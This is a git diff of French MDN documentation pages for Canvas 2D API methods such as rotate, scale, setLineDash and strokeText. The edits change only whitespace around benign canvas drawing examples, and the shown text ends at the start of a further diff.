## Exemples -Étant donné cet élément {{HTMLElement("canvas")}} : +Étant donné cet élément {{HTMLElement("canvas")}} : ```html <canvas id="canevas"></canvas> ``` -vous pouvez obtenir un objet {{domxref("TextMetrics")}} en utilisant le code suivant : +vous pouvez obtenir un objet {{domxref("TextMetrics")}} en utilisant le code suivant : ```js var canevas = document.getElementById('canevas'); @@ -48,7 +48,7 @@ texte.width; // 16; | Spécification | Statut | Commentaire | | ---------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ----------- | -| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-measuretext", "CanvasRenderingContext2D.measureText")}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-measuretext", "CanvasRenderingContext2D.measureText")}} | {{Spec2('HTML WHATWG')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/canvasrenderingcontext2d/moveto/index.md b/files/fr/web/api/canvasrenderingcontext2d/moveto/index.md index ca5dd0ebcf..09f3ff11e7 100644 --- a/files/fr/web/api/canvasrenderingcontext2d/moveto/index.md +++ b/files/fr/web/api/canvasrenderingcontext2d/moveto/index.md @@ -49,8 +49,8 @@ ctx.stroke(); ```html hidden <canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas> <div class="playable-buttons"> - <input id="edit" type="button" value="Edit" /> - <input id="reset" type="button" value="Reset" /> + <input id="edit" type="button" value="Edit" /> + <input id="reset" type="button" value="Reset" /> </div> <textarea id="code" class="playable-code"> ctx.beginPath(); @@ -91,7 +91,7 @@ window.addEventListener("load", drawCanvas); | Specification | Status | Comment | | ---------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ------- | -| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-moveto", "CanvasRenderingContext2D.moveTo")}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-moveto", "CanvasRenderingContext2D.moveTo")}} | {{Spec2('HTML WHATWG')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/canvasrenderingcontext2d/quadraticcurveto/index.md b/files/fr/web/api/canvasrenderingcontext2d/quadraticcurveto/index.md index cf51e85850..a2e331d491 100644 --- a/files/fr/web/api/canvasrenderingcontext2d/quadraticcurveto/index.md +++ b/files/fr/web/api/canvasrenderingcontext2d/quadraticcurveto/index.md @@ -98,7 +98,7 @@ contexte2D.stroke(); | Spécification | Statut | Commentaire | | -------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ----------- | -| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-quadraticcurveto", "CanvasRenderingContext2D.quadraticCurveTo")}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-quadraticcurveto", "CanvasRenderingContext2D.quadraticCurveTo")}} | {{Spec2('HTML WHATWG')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/canvasrenderingcontext2d/rect/index.md b/files/fr/web/api/canvasrenderingcontext2d/rect/index.md index 91d1080833..fbaf106ba3 100644 --- a/files/fr/web/api/canvasrenderingcontext2d/rect/index.md +++ b/files/fr/web/api/canvasrenderingcontext2d/rect/index.md @@ -50,8 +50,8 @@ ctx.fill(); ```html hidden <canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas> <div class="playable-buttons"> - <input id="edit" type="button" value="Edit" /> - <input id="reset" type="button" value="Reset" /> + <input id="edit" type="button" value="Edit" /> + <input id="reset" type="button" value="Reset" /> </div> <textarea id="code" class="playable-code"> ctx.rect(10, 10, 100, 100); diff --git a/files/fr/web/api/canvasrenderingcontext2d/rotate/index.md b/files/fr/web/api/canvasrenderingcontext2d/rotate/index.md index dd43fde3e5..6269d2e8da 100644 --- a/files/fr/web/api/canvasrenderingcontext2d/rotate/index.md +++ b/files/fr/web/api/canvasrenderingcontext2d/rotate/index.md @@ -16,15 +16,15 @@ La méthode **`CanvasRenderingContext2D.rotate()`** de l'API Canvas 2D ajoute un ### Paramètres - `angle` - - : L'angle de rotation horaire en radians. Vous pouvez utiliser `degrés * Math.PI / 180` si vous voulez faire la conversion à partir d'une valeur en degrés. + - : L'angle de rotation horaire en radians. Vous pouvez utiliser `degrés * Math.PI / 180` si vous voulez faire la conversion à partir d'une valeur en degrés. -Le centre de la rotation est toujours l'origine du canevas. Pour changer le centre, il faudra déplacer le canevas en utilisant la méthode {{domxref("CanvasRenderingContext2D.translate", "translate()")}}. +Le centre de la rotation est toujours l'origine du canevas. Pour changer le centre, il faudra déplacer le canevas en utilisant la méthode {{domxref("CanvasRenderingContext2D.translate", "translate()")}}. ## Exemples ### Utilisation de la méthode `rotate` -Ceci est seulement un fragment de code simple qui utilise la méthode `rotate`. +Ceci est seulement un fragment de code simple qui utilise la méthode `rotate`. #### HTML @@ -45,15 +45,15 @@ ctx.fillRect(70, 0, 100, 30); ctx.setTransform(1, 0, 0, 1, 0, 0); ``` -Modifiez le code ci-dessous et voyez vos changements mis à jour en temps réel dans le canevas: +Modifiez le code ci-dessous et voyez vos changements mis à jour en temps réel dans le canevas: #### Code jouable ```html hidden <canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas> <div class="playable-buttons"> - <input id="edit" type="button" value="Edit" /> - <input id="reset" type="button" value="Reset" /> + <input id="edit" type="button" value="Edit" /> + <input id="reset" type="button" value="Reset" /> </div> <textarea id="code" class="playable-code"> ctx.rotate(45 * Math.PI / 180); @@ -93,7 +93,7 @@ window.addEventListener("load", drawCanvas); | Spécification | Statut | Commentaire | | ---------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ----------- | -| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-rotate", "CanvasRenderingContext2D.rotate")}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-rotate", "CanvasRenderingContext2D.rotate")}} | {{Spec2('HTML WHATWG')}} | | ## Compatibilité navigateurs diff --git a/files/fr/web/api/canvasrenderingcontext2d/scale/index.md b/files/fr/web/api/canvasrenderingcontext2d/scale/index.md index 69be186f58..6b577b126f 100644 --- a/files/fr/web/api/canvasrenderingcontext2d/scale/index.md +++ b/files/fr/web/api/canvasrenderingcontext2d/scale/index.md @@ -5,9 +5,9 @@ translation_of: Web/API/CanvasRenderingContext2D/scale --- {{APIRef}} -La méhode **`CanvasRenderingContext2D.scale()`** de l'API Canvas 2D ajoute une transformation de mise à l'échelle des unités du canevas, de x horizontalement et de y verticalement. +La méhode **`CanvasRenderingContext2D.scale()`** de l'API Canvas 2D ajoute une transformation de mise à l'échelle des unités du canevas, de x horizontalement et de y verticalement. -Par défaut, une unité sur le canevas est exactement un pixel. Si on applique, par exemple, un facteur d'échelle de 0,5, l'unité résultante deviendra 0,5 pixel et ainsi, les formes seront dessinées en taille moitié. De façon similaire, mettre le facteur d'échelle à 2,0 augmentera la taille de l'unité et une unité deviendra alors deux pixels. Cela aura pour résultat que les formes seront dessinées deux fois plus grandes. +Par défaut, une unité sur le canevas est exactement un pixel. Si on applique, par exemple, un facteur d'échelle de 0,5, l'unité résultante deviendra 0,5 pixel et ainsi, les formes seront dessinées en taille moitié. De façon similaire, mettre le facteur d'échelle à 2,0 augmentera la taille de l'unité et une unité deviendra alors deux pixels. Cela aura pour résultat que les formes seront dessinées deux fois plus grandes. ## Syntaxe @@ -16,15 +16,15 @@ Par défaut, une unité sur le canevas est exactement un pixel. Si on appliqu ### Paramètres - `x` - - : Facteur d'échelle dans la direction horizontale. + - : Facteur d'échelle dans la direction horizontale. - y - - : Facteur d'échelle dans la direction verticale. + - : Facteur d'échelle dans la direction verticale. ## Exemples ### Utilisation de la méthode `scale` -Ceci est seulement un fragment de code simple qui utilise la méthode `scale`. +Ceci est seulement un fragment de code simple qui utilise la méthode `scale`. #### HTML @@ -45,15 +45,15 @@ ctx.fillRect(10, 10, 10, 10); ctx.setTransform(1, 0, 0, 1, 0, 0); ``` -Modifiez le code ci-dessous et voyez vos changements mis à jour en temps réel dans le canevas : +Modifiez le code ci-dessous et voyez vos changements mis à jour en temps réel dans le canevas : #### Code jouable ```html hidden <canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas> <div class="playable-buttons"> - <input id="edit" type="button" value="Edit" /> - <input id="reset" type="button" value="Reset" /> + <input id="edit" type="button" value="Edit" /> + <input id="reset" type="button" value="Reset" /> </div> <textarea id="code" class="playable-code"> ctx.scale(10, 3); @@ -89,7 +89,7 @@ window.addEventListener("load", drawCanvas); {{ EmbedLiveSample('Code_jouable', 700, 360) }} -### Utilisation de `scale` pour un retournement horizontal ou vertical +### Utilisation de `scale` pour un retournement horizontal ou vertical Vous pouvez utiliser `ctx.scale(-1, 1)` pour retourner le contexte horizontalement et `ctx.scale(1, -1)` pour le retourner verticalement. @@ -98,8 +98,8 @@ Vous pouvez utiliser `ctx.scale(-1, 1)` pour retourner le contexte horizontaleme ```html hidden <canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas> <div class="playable-buttons"> - <input id="edit" type="button" value="Edit" /> - <input id="reset" type="button" value="Reset" /> + <input id="edit" type="button" value="Edit" /> + <input id="reset" type="button" value="Reset" /> </div> <textarea id="code" class="playable-code"> ctx.scale(-1, 1); @@ -140,7 +140,7 @@ window.addEventListener("load", drawCanvas); | Spécification | Statut | Commentaire | | ------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------- | ----------- | -| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-scale", "CanvasRenderingContext2D.scale")}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-scale", "CanvasRenderingContext2D.scale")}} | {{Spec2('HTML WHATWG')}} | | ## Compatibilité navigateur diff --git a/files/fr/web/api/canvasrenderingcontext2d/setlinedash/index.md b/files/fr/web/api/canvasrenderingcontext2d/setlinedash/index.md index 85d5078d2c..436f19da6b 100644 --- a/files/fr/web/api/canvasrenderingcontext2d/setlinedash/index.md +++ b/files/fr/web/api/canvasrenderingcontext2d/setlinedash/index.md @@ -5,9 +5,9 @@ translation_of: Web/API/CanvasRenderingContext2D/setLineDash --- {{APIRef}} -La méthode **`setLineDash()`** de l'interface Canvas 2D API's {{domxref("CanvasRenderingContext2D")}} définit le modèle à utiliser pour les pointillés lors du dessin de la ligne, en utilisant un tableau de valeurs qui spécifie les longueurs des alternances entre pleins et creux. +La méthode **`setLineDash()`** de l'interface Canvas 2D API's {{domxref("CanvasRenderingContext2D")}} définit le modèle à utiliser pour les pointillés lors du dessin de la ligne, en utilisant un tableau de valeurs qui spécifie les longueurs des alternances entre pleins et creux. -> **Note :** Pour renvoyer une ligne pleine, configurez la liste pour les pointillés avec un tableau vide. +> **Note :** Pour renvoyer une ligne pleine, configurez la liste pour les pointillés avec un tableau vide. ## Syntaxe @@ -16,7 +16,7 @@ La méthode **`setLineDash()`** de l'interface Canvas 2D API's {{domxref("Canva ### Paramètres - `segments` - - : Un tableau {{jsxref("Array")}} de nombres qui spécifie les distances qui vont alternativement dessiner pleins et creux (dans l'unité du système de coordonnées). Si le nombre d'éléments du tableau est impair, les éléments du tableau sont recopiés et concaténés. Par exemple, `[5, 15, 25]` est transformé en `[5, 15, 25, 5, 15, 25]`. Si le tableau est vide, le pointillé est supprimé, et la ligne devient pleine. + - : Un tableau {{jsxref("Array")}} de nombres qui spécifie les distances qui vont alternativement dessiner pleins et creux (dans l'unité du système de coordonnées). Si le nombre d'éléments du tableau est impair, les éléments du tableau sont recopiés et concaténés. Par exemple, `[5, 15, 25]` est transformé en `[5, 15, 25, 5, 15, 25]`. Si le tableau est vide, le pointillé est supprimé, et la ligne devient pleine. ### Valeur de retour @@ -24,7 +24,7 @@ La méthode **`setLineDash()`** de l'interface Canvas 2D API's {{domxref("Canva ## Exemples -C'est simplement un fragment de code qui utilise la méthode `setLineDash()` pour dessiner une ligne pointillée au dessus d'une ligne pleine. +C'est simplement un fragment de code qui utilise la méthode `setLineDash()` pour dessiner une ligne pointillée au dessus d'une ligne pleine. ### HTML @@ -53,15 +53,15 @@ ctx.stroke(); ### Essayez le -Editez le code ci-dessous et observez les changements se produire dans le canvas: +Editez le code ci-dessous et observez les changements se produire dans le canvas: #### Code jouable ```html hidden <canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas> <div class="playable-buttons"> - <input id="edit" type="button" value="Edit" /> - <input id="reset" type="button" value="Reset" /> + <input id="edit" type="button" value="Edit" /> + <input id="reset" type="button" value="Reset" /> </div> <textarea id="code" class="playable-code" style="height:150px"> ctx.beginPath(); @@ -109,19 +109,19 @@ window.addEventListener("load", drawCanvas); | Specification | Status | Comment | | ---------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ------- | -| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-setlinedash", "CanvasRenderingContext2D.setLineDash")}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-setlinedash", "CanvasRenderingContext2D.setLineDash")}} | {{Spec2('HTML WHATWG')}} | | ## Compatibilité des navivgateurs {{Compat("api.CanvasRenderingContext2D.setLineDash")}} -## Notes spécifiques pour Gecko +## Notes spécifiques pour Gecko -- Depuis Gecko 7.0 {{geckoRelease("7.0")}}, la propriété non standard et dépréciée `mozDash` a été implémentée comme liste de définition pour les pointillés. Cette propriété sera dépréciée et supprimée dans le futur, voir {{bug(931643)}}. Utilisez `setLineDash()` à la place. +- Depuis Gecko 7.0 {{geckoRelease("7.0")}}, la propriété non standard et dépréciée `mozDash` a été implémentée comme liste de définition pour les pointillés. Cette propriété sera dépréciée et supprimée dans le futur, voir {{bug(931643)}}. Utilisez `setLineDash()` à la place. -## Notes spécifiques pour WebKit +## Notes spécifiques pour WebKit -- Dans les navigateurs à base de WebKit (e.g. Safari), la propriété non standard et dépréciée `webkitLineDash` est implémentée en plus de cette méthode. Utilisez `setLineDash()` à la place. +- Dans les navigateurs à base de WebKit (e.g. Safari), la propriété non standard et dépréciée `webkitLineDash` est implémentée en plus de cette méthode. Utilisez `setLineDash()` à la place. ## Voir aussi diff --git a/files/fr/web/api/canvasrenderingcontext2d/settransform/index.md b/files/fr/web/api/canvasrenderingcontext2d/settransform/index.md index cc123acdaa..50ff4a46b8 100644 --- a/files/fr/web/api/canvasrenderingcontext2d/settransform/index.md +++ b/files/fr/web/api/canvasrenderingcontext2d/settransform/index.md @@ -5,15 +5,15 @@ translation_of: Web/API/CanvasRenderingContext2D/setTransform --- {{APIRef}} -La méthode **`CanvasRenderingContext2D.setTransform()`** de l'API Canvas 2D réinitialise (remplace) la transformation en cours à la matrice identité et appelle ensuite la transformation décrite par les arguments de cette méthode. +La méthode **`CanvasRenderingContext2D.setTransform()`** de l'API Canvas 2D réinitialise (remplace) la transformation en cours à la matrice identité et appelle ensuite la transformation décrite par les arguments de cette méthode. -Voir aussi la méthode {{domxref("CanvasRenderingContext2D.transform()", "transform()")}}, qui ne replace pas la matrice de transformation en cours et la multiplie par celle donnée.. +Voir aussi la méthode {{domxref("CanvasRenderingContext2D.transform()", "transform()")}}, qui ne replace pas la matrice de transformation en cours et la multiplie par celle donnée.. ## Syntaxe void ctx.setTransform(a, b, c, d, e, f); -La matrice de transformation est décrite par : <math><semantics><mrow><mo>[</mo><mtable columnalign="center center center" rowspacing="0.5ex"><mtr><mtd><mi>a</mi></mtd><mtd><mi>c</mi></mtd><mtd><mi>e</mi></mtd></mtr><mtr><mtd><mi>b</mi></mtd><mtd><mi>d</mi></mtd><mtd><mi>f</mi></mtd></mtr><mtr><mtd><mn>0</mn></mtd><mtd><mn>0</mn></mtd><mtd><mn>1</mn></mtd></mtr></mtable><mo>]</mo></mrow><annotation encoding="TeX">\left[ \begin{array}{ccc} a & c & e \\ b & d & f \\ 0 & 0 & 1 \end{array} \right]</annotation></semantics></math> +La matrice de transformation est décrite par : <math><semantics><mrow><mo>[</mo><mtable columnalign="center center center" rowspacing="0.5ex"><mtr><mtd><mi>a</mi></mtd><mtd><mi>c</mi></mtd><mtd><mi>e</mi></mtd></mtr><mtr><mtd><mi>b</mi></mtd><mtd><mi>d</mi></mtd><mtd><mi>f</mi></mtd></mtr><mtr><mtd><mn>0</mn></mtd><mtd><mn>0</mn></mtd><mtd><mn>1</mn></mtd></mtr></mtable><mo>]</mo></mrow><annotation encoding="TeX">\left[ \begin{array}{ccc} a & c & e \\ b & d & f \\ 0 & 0 & 1 \end{array} \right]</annotation></semantics></math> ### Paramètres @@ -32,9 +32,9 @@ La matrice de transformation est décrite par : <math><semantics><mrow><mo>[</ ## Exemples -### Utilisation de la méthode `setTransform` +### Utilisation de la méthode `setTransform` -Ceci est seulement un fragment de code simple qui utilise la méthode `setTransform`. +Ceci est seulement un fragment de code simple qui utilise la méthode `setTransform`. #### HTML @@ -52,15 +52,15 @@ ctx.setTransform(1, 1, 0, 1, 0, 0); ctx.fillRect(0, 0, 100, 100); ``` -Modifiez le code ci-dessous et voyez vos changements mis à jour en temps réel dans le canevas : +Modifiez le code ci-dessous et voyez vos changements mis à jour en temps réel dans le canevas : #### Code jouable ```html hidden <canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas> <div class="playable-buttons"> - <input id="edit" type="button" value="Edit" /> - <input id="reset" type="button" value="Reset" /> + <input id="edit" type="button" value="Edit" /> + <input id="reset" type="button" value="Reset" /> </div> <textarea id="code" class="playable-code"> ctx.setTransform(1,1,0,1,0,0); @@ -99,7 +99,7 @@ window.addEventListener("load", drawCanvas); | Spécification | Statut | Commentaire | | -------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ----------- | -| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-settransform", "CanvasRenderingContext2D.setTransform")}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-settransform", "CanvasRenderingContext2D.setTransform")}} | {{Spec2('HTML WHATWG')}} | | ## Compatibilité navigateurs diff --git a/files/fr/web/api/canvasrenderingcontext2d/stroke/index.md b/files/fr/web/api/canvasrenderingcontext2d/stroke/index.md index 24925f1d01..6e92744b06 100644 --- a/files/fr/web/api/canvasrenderingcontext2d/stroke/index.md +++ b/files/fr/web/api/canvasrenderingcontext2d/stroke/index.md @@ -45,8 +45,8 @@ Editer le code en dessous et voir vos modifications mises à jour en direct dans ```html hidden <canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas> <div class="playable-buttons"> - <input id="edit" type="button" value="Edit" /> - <input id="reset" type="button" value="Reset" /> + <input id="edit" type="button" value="Edit" /> + <input id="reset" type="button" value="Reset" /> </div> <textarea id="code" class="playable-code"> ctx.rect(10, 10, 100, 100); @@ -85,7 +85,7 @@ window.addEventListener("load", drawCanvas); | Spécification | Statut | Commentaire | | ---------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ----------- | -| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-stroke", "CanvasRenderingContext2D.stroke")}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-stroke", "CanvasRenderingContext2D.stroke")}} | {{Spec2('HTML WHATWG')}} | | ## Compatibilité avec les navigateurs diff --git a/files/fr/web/api/canvasrenderingcontext2d/strokerect/index.md b/files/fr/web/api/canvasrenderingcontext2d/strokerect/index.md index e5cc41b3c5..1dadb9ebb1 100644 --- a/files/fr/web/api/canvasrenderingcontext2d/strokerect/index.md +++ b/files/fr/web/api/canvasrenderingcontext2d/strokerect/index.md @@ -5,7 +5,7 @@ translation_of: Web/API/CanvasRenderingContext2D/strokeRect --- {{APIRef}} -La méthode **`CanvasRenderingContext2D.strokeRect()`** de l'API 2D des Canvas dessine le contour d'un rectangle aux coordonnées de l'angle haut gauche _(x, y)_ et aux dimensions déterminées par *largeur* et *hauteur* dans la balise canvas, et en utilisant l'actuel `strokeStyle`. +La méthode **`CanvasRenderingContext2D.strokeRect()`** de l'API 2D des Canvas dessine le contour d'un rectangle aux coordonnées de l'angle haut gauche _(x, y)_ et aux dimensions déterminées par *largeur* et *hauteur* dans la balise canvas, et en utilisant l'actuel `strokeStyle`. ## Syntaxe @@ -14,19 +14,19 @@ La méthode **`CanvasRenderingContext2D.strokeRect()`** de l'API 2D des Canvas ### Paramètres - `x` - - : L'abcisse *x* des coordonnées du point de départ du rectangle. + - : L'abcisse *x* des coordonnées du point de départ du rectangle. - `y` - : L'ordonnée _y_ des coordonnées du point de départ du rectangle. - largeur - : La largeur du rectangle. - `hauteur` - - : La hauteur de rectangle. + - : La hauteur de rectangle. ## Exemples -### Utilisation de la méthode `strokeRect` +### Utilisation de la méthode `strokeRect` -Ceci est juste un extrait de code qui utilise la méthode `strokeRect`. +Ceci est juste un extrait de code qui utilise la méthode `strokeRect`. #### HTML @@ -51,8 +51,8 @@ ctx.strokeRect(10, 10, 100, 100); ```html hidden <canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas> <div class="playable-buttons"> - <input id="edit" type="button" value="Edit" /> - <input id="reset" type="button" value="Reset" /> + <input id="edit" type="button" value="Edit" /> + <input id="reset" type="button" value="Reset" /> </div> <textarea id="code" class="playable-code"> ctx.strokeStyle = "green"; @@ -91,7 +91,7 @@ window.addEventListener("load", drawCanvas); | Spécification | Statut | Commentaire | | ---------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ----------- | -| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-strokerect", "CanvasRenderingContext2D.strokeRect")}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-strokerect", "CanvasRenderingContext2D.strokeRect")}} | {{Spec2('HTML WHATWG')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/canvasrenderingcontext2d/strokestyle/index.md b/files/fr/web/api/canvasrenderingcontext2d/strokestyle/index.md index aab6253a44..8bf5d7ea28 100644 --- a/files/fr/web/api/canvasrenderingcontext2d/strokestyle/index.md +++ b/files/fr/web/api/canvasrenderingcontext2d/strokestyle/index.md @@ -53,8 +53,8 @@ ctx.strokeRect(10, 10, 100, 100); ```html hidden <canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas> <div class="playable-buttons"> - <input id="edit" type="button" value="Edit" /> - <input id="reset" type="button" value="Reset" /> + <input id="edit" type="button" value="Edit" /> + <input id="reset" type="button" value="Reset" /> </div> <textarea id="code" class="playable-code"> ctx.strokeStyle = 'blue'; @@ -119,7 +119,7 @@ Le résultat devrait ressembler à ça: | Specification | Status | Comment | | ---------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ------- | -| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-strokestyle", "CanvasRenderingContext2D.strokeStyle")}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-strokestyle", "CanvasRenderingContext2D.strokeStyle")}} | {{Spec2('HTML WHATWG')}} | | ## Browser compatibility diff --git a/files/fr/web/api/canvasrenderingcontext2d/stroketext/index.md b/files/fr/web/api/canvasrenderingcontext2d/stroketext/index.md index 2f7db41cd4..f687b2b396 100644 --- a/files/fr/web/api/canvasrenderingcontext2d/stroketext/index.md +++ b/files/fr/web/api/canvasrenderingcontext2d/stroketext/index.md @@ -5,9 +5,9 @@ translation_of: Web/API/CanvasRenderingContext2D/strokeText --- {{APIRef}} -La méthode **`CanvasRenderingContext2D.strokeText()`** de l'API Canvas 2D trace le texte fourni à la position donnée _(x, y)_. Si le quatrième paramètre optionnel indiquant une largeur maximale est fourni, le texte sera mis à l'échelle pour tenir dans cette cette largeur. +La méthode **`CanvasRenderingContext2D.strokeText()`** de l'API Canvas 2D trace le texte fourni à la position donnée _(x, y)_. Si le quatrième paramètre optionnel indiquant une largeur maximale est fourni, le texte sera mis à l'échelle pour tenir dans cette cette largeur. -Voir aussi la méthode {{domxref("CanvasRenderingContext2D.fillText()")}} pour dessiner un texte rempli. +Voir aussi la méthode {{domxref("CanvasRenderingContext2D.fillText()")}} pour dessiner un texte rempli. ## Syntaxe @@ -16,22 +16,22 @@ Voir aussi la méthode {{domxref("CanvasRenderingContext2D.fillText()")}} pour ### Paramètres - `texte` - - : Le texte à tracer en utilisant les valeurs en cours de {{domxref("CanvasRenderingContext2D.font","font")}}, {{domxref("CanvasRenderingContext2D.textAlign","textAlign")}}, {{domxref("CanvasRenderingContext2D.textBaseline","textBaseline")}}, et {{domxref("CanvasRenderingContext2D.direction","direction")}}. + - : Le texte à tracer en utilisant les valeurs en cours de {{domxref("CanvasRenderingContext2D.font","font")}}, {{domxref("CanvasRenderingContext2D.textAlign","textAlign")}}, {{domxref("CanvasRenderingContext2D.textBaseline","textBaseline")}}, et {{domxref("CanvasRenderingContext2D.direction","direction")}}. <!----> - `x` - - : La coordonnée sur l'axe des x du point de départ du texte. + - : La coordonnée sur l'axe des x du point de départ du texte. - `y` - - : La coordonnée sur l'axe des y du point de départ du texte. -- `largeurMax` {{optional_inline}} - - : La largeur maximum à dessiner. Si spécifiée et si la chaîne est calculée comme étant plus large que cette largeur, la police est ajustée pour utiliser une police plus condensée horizontalement (si une est disponible ou si une raisonnablement lisible lisible peut être synthétisée en mettant à l'échelle horizontalement la police courante), ou une police plus petite. + - : La coordonnée sur l'axe des y du point de départ du texte. +- `largeurMax` {{optional_inline}} + - : La largeur maximum à dessiner. Si spécifiée et si la chaîne est calculée comme étant plus large que cette largeur, la police est ajustée pour utiliser une police plus condensée horizontalement (si une est disponible ou si une raisonnablement lisible lisible peut être synthétisée en mettant à l'échelle horizontalement la police courante), ou une police plus petite. ## Exemples -### Utilisation de la méthode `strokeText` +### Utilisation de la méthode `strokeText` -Il ne s'agit que d'un extrait de code simple qui utilise la méthode `strokeText`. +Il ne s'agit que d'un extrait de code simple qui utilise la méthode `strokeText`. #### HTML @@ -56,8 +56,8 @@ Modifiez le code ci-dessous et voyez vos modifications mises à jour en direct d ```html hidden <canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas> <div class="playable-buttons"> - <input id="edit" type="button" value="Edit" /> - <input id="reset" type="button" value="Reset" /> + <input id="edit" type="button" value="Edit" /> + <input id="reset" type="button" value="Reset" /> </div> <textarea id="code" class="playable-code"> ctx.font = "48px serif"; @@ -96,7 +96,7 @@ window.addEventListener("load", drawCanvas); | Spécification | Statut | Commentaire | | ---------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ----------- | -| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-stroketext", "CanvasRenderingContext2D.strokeText")}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-stroketext", "CanvasRenderingContext2D.strokeText")}} | {{Spec2('HTML WHATWG')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/canvasrenderingcontext2d/textalign/index.md b/files/fr/web/api/canvasrenderingcontext2d/textalign/index.md index 4e15fd41b9..45f2a8b340 100644 --- a/files/fr/web/api/canvasrenderingcontext2d/textalign/index.md +++ b/files/fr/web/api/canvasrenderingcontext2d/textalign/index.md @@ -5,7 +5,7 @@ translation_of: Web/API/CanvasRenderingContext2D/textAlign --- {{APIRef}} -La propriété **`CanvasRenderingContext2D.textAlign`** de l'API Canvas 2D indique l'alignement de texte courant à utiliser lors du dessin de texte. Faites attention au fait que l'alignement a pour base la valeur x de la méthode `CanvasRenderingContext2D.fillText` Ainsi, si textAlign="center", le texte sera alors dessiné en x-50%\*width. +La propriété **`CanvasRenderingContext2D.textAlign`** de l'API Canvas 2D indique l'alignement de texte courant à utiliser lors du dessin de texte. Faites attention au fait que l'alignement a pour base la valeur x de la méthode `CanvasRenderingContext2D.fillText` Ainsi, si textAlign="center", le texte sera alors dessiné en x-50%\*width. ## Syntaxe @@ -22,17 +22,17 @@ Valeurs possibles : - center - : Le texte est centré. - start - - : Le texte est aligné au début normal de la ligne (aligné à gauche pour les systèmes d'écriture de gauche à droite, aligné à droite pour les systèmes d'écriture de droite à gauche). + - : Le texte est aligné au début normal de la ligne (aligné à gauche pour les systèmes d'écriture de gauche à droite, aligné à droite pour les systèmes d'écriture de droite à gauche). - end - - : Le texte est aligné à la fin normale de la ligne (aligné à droite pour les systèmes d'écriture de gauche à droite, aligné à gauche pour les systèmes d'écriture de droite à gauche). + - : Le texte est aligné à la fin normale de la ligne (aligné à droite pour les systèmes d'écriture de gauche à droite, aligné à gauche pour les systèmes d'écriture de droite à gauche). -La valeur pa défaut est `start`. +La valeur pa défaut est `start`. ## Exemples ### Utilisation de la propriété `textAlign` -Ceci est seulement un fragment de code simple utilisant la propriété `textAlign pour indiquer un alignement de texte`. +Ceci est seulement un fragment de code simple utilisant la propriété `textAlign pour indiquer un alignement de texte`. #### HTML @@ -58,8 +58,8 @@ Modifier le code ci-dessous et voyez vos changements mis à jour en temps réel ```html hidden <canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas> <div class="playable-buttons"> - <input id="edit" type="button" value="Edit" /> - <input id="reset" type="button" value="Reset" /> + <input id="edit" type="button" value="Edit" /> + <input id="reset" type="button" value="Reset" /> </div> <textarea id="code" class="playable-code"> ctx.font = '48px serif'; @@ -99,7 +99,7 @@ window.addEventListener('load', drawCanvas); | Spécification | Statut | Commentaire | | ------------------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------- | ----------- | -| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-textalign", "CanvasRenderingContext2D.textAlign")}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-textalign", "CanvasRenderingContext2D.textAlign")}} | {{Spec2('HTML WHATWG')}} | | ## Compatibilité des navigateurs diff --git 